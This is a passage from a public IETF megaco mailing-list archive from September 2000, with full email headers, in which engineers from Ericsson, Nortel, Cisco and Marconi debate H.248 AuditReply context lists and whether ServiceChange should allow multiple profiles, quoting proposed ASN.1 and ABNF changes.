        size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; --</FONT> <BR><FONT
        size=2>&gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt; Cisco
        Systems</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
        </FONT><BR><FONT size=2>&gt;
</FONT></P></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C01860.87317E8E--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 23:14:58 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA28468
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 23:14:55 -0400 (EDT)
Received: from standards (47.234.32.16:3035) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90F79@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:58:26 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21446 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 22:58:22 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90F71@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          22:48:22 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8731Lp25747; Thu, 7 Sep 2000 05:01:22 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA20008; Thu, 7 Sep 2000 05:01:21 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA16076; Thu, 7 Sep 2000
          05:01:18 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <39B64C1E.1AFED152@chiplogic.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6D3CA.376E97BB@ericsson.com>
Date:         Thu, 7 Sep 2000 10:31:22 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Question on AuditValue
X-To:         SSM <ssm@CHIPLOGIC.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Sanjeev,

I posted an email highlighting the same problem a few days ago. Its the
same for the ABNF.
Subject: Context List in H.248
Date: Mon, 4 Sep 2000 18:58:42 +1100

I think this is a fault, but there was a reply that v2 would do this.
Even if v2 does this then it is an inconsistency.

Cheers, Christian

SSM wrote:
>
> Hi,
> In case of a AuditValue command with (reference: table in 7.2.5 )
> ContextID = ALL
> TerminationID = Root,
> the AuditReply should list all the contextIds .
>
> If we see the ASN.1 for AuditReply, there is no provision for contextId
> list .
>
>     AuditReply ::= SEQUENCE
>    {
>         terminationID           TerminationID,
>         auditResult             AuditResult,
>         ...
>    }
>
>    AuditResult ::= CHOICE
>    {
>         contextAuditResult      TerminationIDList,
>         terminationAuditResult  TerminationAudit
>    }
>
> So how can this be achieved ?
>
> Thanks in advance
> -sanjeev


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 23:15:01 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA28485
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 23:14:59 -0400 (EDT)
Received: from standards (47.234.32.16:3035) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90F7E@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:58:27 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21447 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 22:58:26 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90F72@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:48:24
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8731Pw03599; Thu, 7 Sep 2000 05:01:25 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA20014; Thu, 7 Sep 2000 05:01:25 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA16080; Thu, 7 Sep 2000
          05:01:22 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D29@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6D428.51E2A36E@ericsson.com>
Date:         Thu, 7 Sep 2000 10:32:56 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Tom,

Well I think we're pretty much on the road to finding out the
requirements becuase the MSF and ITU plus other bodies are looking at
profiles.

Cheers, Christian

Tom-PT Taylor wrote:
>
> When I raised the issue last spring the response was to wait until we got
> more experience and had a better handle on requirements before playing with
> the syntax.
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > Sent: Wednesday, September 06, 2000 10:01 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Profiles in Service Change
> >
> >
> > Michael P DiGioia wrote:
> >
> > > Brian,
> > >
> > > > > So does that mean that nobody can make an MG which
> > supports more than
> > > > > one profile? :-)
> > >
> > > >One way to get around the limitation is to try to get
> > > >service using the most "featurefull" profile.  If you fail
> > > >to find an MGC that can serve that profile, try again with
> > > >a different profile.
> > >
> > > I agree. I believe the point is that any one MG can support
> > one or more
> > > profile, however, once the most featurefull profile is
> > found to be accepted
> > > by an MGC, use it.
> >
> > I disagree as Brian's comments assumes a meaningful ordering
> > relation between
> > (at least a resonable subset of) profiles based on some set
> > of features
> > supported. I don't see that. Christian's proposal of allowing
> > a listing of
> > profiles seemed pretty good to me - what was wrong with this again ?
> >
> > -- Flemming
> >
> > >
> > >
> > > What we build into our IpPhone MG is our choice. I don't
> > believe this limits
> > > us in any way. If so, how?
> > >
> > > /mpd
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 23:15:04 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA28505
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 23:15:01 -0400 (EDT)
Received: from standards (47.234.32.16:3035) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90F83@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:58:32 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21448 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 22:58:32 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90F73@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:48:26
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8731Uw03631; Thu, 7 Sep 2000 05:01:30 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA20018; Thu, 7 Sep 2000 05:01:29 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA16084; Thu, 7 Sep 2000
          05:01:27 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF678800@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6D580.40567DD4@ericsson.com>
Date:         Thu, 7 Sep 2000 10:38:40 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian,

I think you've proved my point also. There are going to be multiple
profiles developed and the MSF won't be the only body in the world
having the mandate to do protocol definition.

Has John pointed out in email perhaps my example wasn't clear. By
mentioning SIP/H323/ISUP I was more alluding to the applications that
these would support. The MG should have no knowledge of the Call Control
Protocol but it was support the services that these Call Control
Services provide.

The solution you propose still doesn't get over the case where the MG
needs to use 2 profiles. ie. ISUP/BICC Services on one side and VoDSL
access on the other side.

Cheers, Christian

"Rosen, Brian" wrote:
>
> Actually, except for the unfortunate plan to develop an
> profile for BICC, I think you are proving my point.
> A trunk gateway conforming to the MSF Trunk Gateway Profile
> could be used by an MGC that used any of your listed protocols
> to communicate with another MGC.  The idea that the MG should
> have to know what the interMGC protocol is strikes me
> as a VERY bad idea.
>
> The IPphone is an MG profile, and a phone conforming to the
> Ipphone profile could be used with an MGC that used H.323,
> SIP, BICC or other interMGC protocols.
>
> I do believe that there will be some "private" profiles.
> A carrier for example, might develop a profile, and demand
> that vendors conform to it.  That might lead a vendor to
> support more than one profile in an MG, but I suspect that
> such use will depend on a lot of provisioning anyway, and
> will thus not be a problem for the MG.  I also suspect there
> will be a couple of competing profiles for common gateway
> types, which might cause some confusion for a while.
>
> Finally, I suspect that many vendors will have private profiles
> which would make use of some special capabilities, but are otherwise
> supersets of a more "standard" profiles.  If such
> vendors can get MGCs to support them, fine.  Otherwise
> such profiles will not fare well in the market.
>
> One way to get around the limitation is to try to get
> service using the most "featurefull" profile.  If you fail
> to find an MGC that can serve that profile, try again with
> a different profile.
>
> Brian
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > Sent: Wednesday, September 06, 2000 12:36 AM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Profiles in Service Change
> >
> >
> > G'Day Brian,
> >
> > So does that mean that nobody can make an MG which supports more than
> > one profile? :-)
> >
> > This seems to be a pretty big limitation to me. I know
> > several companies
> > are developing MGs that are capable of being used in many different
> > scenarios. If one MGC can support H323-SIP, Sip-BICC, BICC-ISUP, VoDSL
> > Access, IpPhone, BICC-3gPP and the permutations of these I
> > don't see why
> > the MG can only support one profile. I don't see that the
> > development of
> > one profile to support all these possibilities is realistic
> > but I do see
> > that a MG could support as these different accesses.
> >
> > In the real world MGs will support multiple profiles and I
> > think we need
> > to give advise in the Implementor's guide how this fits in with the
> > limited profile mechanism we have in H248v1.
> >
> > Cheers, Christian
> >
> > "Rosen, Brian" wrote:
> > >
> > > I do NOT consider it to be an error, and I think the whole idea
> > > of Profile is that an MG implements one.  The MGC, of course,
> > > can implement many (if it serves several kinds of gateways).
> > >
> > > While such a restriction could lead to lots of private profiles,
> > > it could also lead to a few commonly implemented profiles.
> > > The package mechanism is a wonderful thing, but it leads to
> > > lots of options, which leads to incompatible MGs and MGCs.
> > > Profiles are the way to group options into implement able sets
> > > so that MGs and MGCs can interoperate.
> > >
> > > If you have multiple profiles, then you might as well just
> > > have no profiles - the ServiceChange could return the package list.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > > Sent: Monday, September 04, 2000 8:58 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Profiles in Service Change
> > > >
> > > >
> > > > G'Day all,
> > > >
> > > > I discussion on another email exploder (MSF) it was pointed
> > > > out that the
> > > > ServiceChange only supports one profile to be returned. I
> > would have
> > > > thought that a MG could support more than one profile.
> > > >
> > > > Do people consider this to be an error to be updated in the
> > > > implementor's guide?
> > > >
> > > >
> > > > If so the following changes probably would be necessary.
> > > >
> > > > 7.2.8 ServiceChange
> > > > The optional ServiceChangeProfile parameter specifies the
> > Profile[/s]
> > > > (if any) of the protocol supported.  The
> > ServiceChangeProfile includes
> > > > the version of the profile supported.
> > > >
> > > > A.2
> > > > ServiceChangeParm ::= SEQUENCE
> > > > {
> > > >         serviceChangeMethod     ServiceChangeMethod,
> > > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > ServiceChangeProfile OPTIONAL,
> > > >         serviceChangeReason     Value,
> > > >         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
> > > >                                     -- 32 bit unsigned integer
> > > >         serviceChangeMgcId      MId OPTIONAL,
> > > >         timeStamp               TimeNotation OPTIONAL,
> > > >         nonStandardData         NonStandardData OPTIONAL,
> > > >         ...
> > > > }
> > > >
> > > > ServiceChangeResParm ::= SEQUENCE
> > > > {
> > > >         serviceChangeMgcId      MId OPTIONAL,
> > > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > ServiceChangeProfile OPTIONAL,
> > > >         ...
> > > > }
> > > >
> > > > B.2
> > > > >>      serviceChangeProfile = ProfileToken EQUAL NAME
> > SLASH Version
> > > >
> > > >
> > > > Cheers, Christian
> > > >
> >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 23:15:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA28514
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 23:15:04 -0400 (EDT)
Received: from standards (47.234.32.16:3035) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90F8C@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:58:38 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21449 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 22:58:37 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90F74@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          22:48:37 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8731Yp25819; Thu, 7 Sep 2000 05:01:34 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA20022; Thu, 7 Sep 2000 05:01:34 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA16088; Thu, 7 Sep 2000
          05:01:31 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <353093573B82D411889E0000F808216648E334@zcard00q.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6D87A.D4503700@ericsson.com>
Date:         Thu, 7 Sep 2000 10:51:22 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         Peter Blatherwick <blather@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Pete,

Please see the dicussion of your points below marked [CHG]

Cheers, Christian

Peter Blatherwick wrote:
>
> Like Brian, I'm not sure we aren't all actually saying nearly the same
> thing in different ways.
>
> The confusion happens when an MG attempts to use more than one profile
> within any particular control association with an MGC (corresponds to
> Service Change registration).
[CHG] Why?

> For an MG to support more than one
> profile, registering only one at a time through ServiceChange, is not
> a problem (solves multiple carrier-specific profiles and also
> multi-purpose MG Brian points to).

[CHG] This may not be a problem to do in the protocol but it is not
described anywhere. So far in the protocol we send "a" servicechange
with the profile.

> For an MG device to support
> multiple virtual MGs, each with different single profiles at any given
> time is also not a problem (another way to solve multi-purpose MG).

[CHG] Yes I agree it is a solution when the Virtual MG needs only to
cope with one profile and the over all physical MG has multiple
profiles. But if the Virtual MG needs to use 2 profiles then you have a
problem.

> MGCs can certainly support multiple profiles, no problem there either
> as long as the SW keeps a clean separation.

[CHG] Agreed. I don't see this as very hard because the MGC will use the
appropriate bits out of a profile for the functionality is wants.

>
> Confusion only occurs when there is more than one profile in operation
> at a time between MGC-MG pairs.  Allowing this I think will lead to
> trouble at least until clean, clear profile definition rules are
> defined.  (Even then I'm not entirely convinced.)

[CHG] Can you please explain why there is confusion?
To me an MGC knows what application it wants and will choose the
appropriate Profile along with the appropriate packages/properties etc.
The MG is just a slave to this so there should be no confusion there.
Isn't the ServiceChange profile more of a "hey this is what I support,
its up to you to use me how you want within these parameters" rather
than you shall do this.

> Your proposed
> change, as I understood it, would allow for multiple profiles to be
> registered by the MG side at ServiceChange, hence I do not agree we
> should do that in the Implementer's Guide.  Would like some basic
> discussion of above points captured though.

[CHG] I think its important to note that the Implementers Guide has 2
sections. One for Technical and Editorial Changes. Another Sections for
notes to guide Implementors which is non-normative ie. it won't appear
in the protocol. If we can't agree on a technical change (I still think
its worth discussing this) then we should at least offer some advice in
the advice section. So I don't want sweep this under the carpet by
saying we'll discuss it later because the later we leave it the bigger
problem this will be.


>
> -- Peter
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Wednesday, September 06, 2000 07:42
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
> Actually, except for the unfortunate plan to develop an
> profile for BICC, I think you are proving my point.
> A trunk gateway conforming to the MSF Trunk Gateway Profile
> could be used by an MGC that used any of your listed protocols
> to communicate with another MGC.  The idea that the MG should
> have to know what the interMGC protocol is strikes me
> as a VERY bad idea.
>
> The IPphone is an MG profile, and a phone conforming to the
> Ipphone profile could be used with an MGC that used H.323,
> SIP, BICC or other interMGC protocols.
>
> I do believe that there will be some "private" profiles.
> A carrier for example, might develop a profile, and demand
> that vendors conform to it.  That might lead a vendor to
> support more than one profile in an MG, but I suspect that
> such use will depend on a lot of provisioning anyway, and
> will thus not be a problem for the MG.  I also suspect there
> will be a couple of competing profiles for common gateway
> types, which might cause some confusion for a while.
>
> Finally, I suspect that many vendors will have private profiles
> which would make use of some special capabilities, but are otherwise
> supersets of a more "standard" profiles.  If such
> vendors can get MGCs to support them, fine.  Otherwise
> such profiles will not fare well in the market.
>
> One way to get around the limitation is to try to get
> service using the most "featurefull" profile.  If you fail
> to find an MGC that can serve that profile, try again with
> a different profile.
>
> Brian
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > Sent: Wednesday, September 06, 2000 12:36 AM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Profiles in Service Change
> >
> >
> > G'Day Brian,
> >
> > So does that mean that nobody can make an MG which supports more
> than
> > one profile? :-)
> >
> > This seems to be a pretty big limitation to me. I know
> > several companies
> > are developing MGs that are capable of being used in many different
> > scenarios. If one MGC can support H323-SIP, Sip-BICC, BICC-ISUP,
> VoDSL
> > Access, IpPhone, BICC-3gPP and the permutations of these I
> > don't see why
> > the MG can only support one profile. I don't see that the
> > development of
> > one profile to support all these possibilities is realistic
> > but I do see
> > that a MG could support as these different accesses.
> >
> > In the real world MGs will support multiple profiles and I
> > think we need
> > to give advise in the Implementor's guide how this fits in with the
> > limited profile mechanism we have in H248v1.
> >
> > Cheers, Christian
> >
> > "Rosen, Brian" wrote:
> > >
> > > I do NOT consider it to be an error, and I think the whole idea
> > > of Profile is that an MG implements one.  The MGC, of course,
> > > can implement many (if it serves several kinds of gateways).
> > >
> > > While such a restriction could lead to lots of private profiles,
> > > it could also lead to a few commonly implemented profiles.
> > > The package mechanism is a wonderful thing, but it leads to
> > > lots of options, which leads to incompatible MGs and MGCs.
> > > Profiles are the way to group options into implement able sets
> > > so that MGs and MGCs can interoperate.
> > >
> > > If you have multiple profiles, then you might as well just
> > > have no profiles - the ServiceChange could return the package
> list.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > > Sent: Monday, September 04, 2000 8:58 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Profiles in Service Change
> > > >
> > > >
> > > > G'Day all,
> > > >
> > > > I discussion on another email exploder (MSF) it was pointed
> > > > out that the
> > > > ServiceChange only supports one profile to be returned. I
> > would have
> > > > thought that a MG could support more than one profile.
> > > >
> > > > Do people consider this to be an error to be updated in the
> > > > implementor's guide?
> > > >
> > > >
> > > > If so the following changes probably would be necessary.
> > > >
> > > > 7.2.8 ServiceChange
> > > > The optional ServiceChangeProfile parameter specifies the
> > Profile[/s]
> > > > (if any) of the protocol supported.  The
> > ServiceChangeProfile includes
> > > > the version of the profile supported.
> > > >
> > > > A.2
> > > > ServiceChangeParm ::= SEQUENCE
> > > > {
> > > >         serviceChangeMethod     ServiceChangeMethod,
> > > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > ServiceChangeProfile OPTIONAL,
> > > >         serviceChangeReason     Value,
> > > >         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
>
> > > >                                     -- 32 bit unsigned integer
> > > >         serviceChangeMgcId      MId OPTIONAL,
> > > >         timeStamp               TimeNotation OPTIONAL,
> > > >         nonStandardData         NonStandardData OPTIONAL,
> > > >         ...
> > > > }
> > > >
> > > > ServiceChangeResParm ::= SEQUENCE
> > > > {
> > > >         serviceChangeMgcId      MId OPTIONAL,
> > > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > ServiceChangeProfile OPTIONAL,
> > > >         ...
> > > > }
> > > >
> > > > B.2
> > > > >>      serviceChangeProfile = ProfileToken EQUAL NAME
> > SLASH Version
> > > >
> > > >
> > > > Cheers, Christian
> > > >
> >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 23:15:09 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA28525
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 23:15:07 -0400 (EDT)
Received: from standards (47.234.32.16:3035) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90FA2@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:58:49 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21450 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 22:58:48 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90F75@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:48:43
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8731hw03655; Thu, 7 Sep 2000 05:01:43 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA20026; Thu, 7 Sep 2000 05:01:42 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA16092; Thu, 7 Sep 2000
          05:01:38 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF67880E@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6DA5C.19E2BE21@ericsson.com>
Date:         Thu, 7 Sep 2000 10:59:24 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
X-cc:         Flemming Andreasen <fandreas@cisco.com>,
              Michael P DiGioia <mpd@WORLD.STD.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian,

I completely agree that we want to make it HARD to have a multiplicity
of overlapping profiles.  But with the current text I see that we make
it impossible, its got one profile and only talks about a profile. That
is why I'd like to see : a technical change in the implementor's guide
or an implementation or "something" to say at least say how you cope
with the case where: the MG supports multiple profiles and/or the MGC
needs to access 2 profiles to complete a service. Its a real world issue
that we have to deal with as soon as we have 2 profiles defined.

Cheers, Christian

"Rosen, Brian" wrote:
>
> What is wrong is that it promotes proliferation of
> many overlapping profiles.  Profiles are supposed to be
> a way of reducing the variability that Packages provide,
> so that one could reasonably expect to be able to find
> interoperable MGs and MGCs.
>
> No one can legislate this (no protocol police...), but
> we can encourage, or discourage proliferation of
> many profiles that attempt to solve the same problem
> different ways.  If you support 100 profiles, you may
> as well just ignore the profile info and look at the
> audited package list!
>
> I want to make it HARD to have more than one profile
> per MG (not MGC).  Not impossible, just hard.  I think
> that will encourage coalescing around a small number of
> profiles for specific purposes that all relevant MGs and
> MGCs support, which in turn will make the protocol successful.
>
> What I fear is balkanization by proliferation of profiles,
> which leads to non-interoperable devices.  It would be non
> interoperable because there were no common profiles, rather
> that if you found a common one, it wouldn't work.  The
> package mechanism is a wonderful way to have all sorts of
> extensions and features in MGs.  The profile mechanism was
> designed to provide a way to corral the easy expansion into
> more limited groups of options.  Generally, successful
> protocols are not easy "bent" in many different ways -> you
> get ONE way, and everyone does it that way, and the world
> is better for it.  The package thing is great, but it is
> a danger.  The profile is the only way I know to limit it's
> potential to undermine the effectiveness of the protocol.
>
> Brian
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Wednesday, September 06, 2000 10:01 AM
> > To: Michael P DiGioia
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > Rosen, Brian
> > Subject: Re: Profiles in Service Change
> >
> >
> >
> >
> > Michael P DiGioia wrote:
> >
> > > Brian,
> > >
> > > > > So does that mean that nobody can make an MG which
> > supports more than
> > > > > one profile? :-)
> > >
> > > >One way to get around the limitation is to try to get
> > > >service using the most "featurefull" profile.  If you fail
> > > >to find an MGC that can serve that profile, try again with
